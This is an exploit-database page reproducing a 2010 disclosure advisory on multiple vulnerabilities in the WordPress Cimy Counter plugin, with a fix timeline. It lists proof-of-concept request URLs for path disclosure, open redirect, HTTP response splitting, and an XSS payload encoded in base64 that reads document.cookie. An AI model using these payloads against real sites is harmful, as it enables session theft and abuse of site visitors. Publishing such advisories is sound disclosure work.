0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
WordPress in Cimy Counter Multiple Vulnerability
[================================================ WordPress in Cimy Counter Multiple Vulnerability ================================================ ----------------------------- Affected products: Cimy Counter 0.9.4 and previous versions. ----------------------------- Timeline: 20.04.2010 - found vulnerabilities. 28.04.2010 - announced at my site. 29.04.2010 - informed developer. 06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the author fixed all mentioned vulnerabilities except Redirector (aka URL Redirector Abuse in WASC TC v2). And I gave him addition argumentation to fix Redirector hole also. 24.06.2010 - disclosed at my site. ----------------------------- Details: These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP Response Spitting vulnerabilities. Full path disclosure: http://site/wp-content/plugins/cimy-counter/cimy_counter.php http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1 Redirector: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua XSS: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b HTTP Response Spitting: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test Works at old versions of PHP. Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua # 0day.today [2024-11-16] #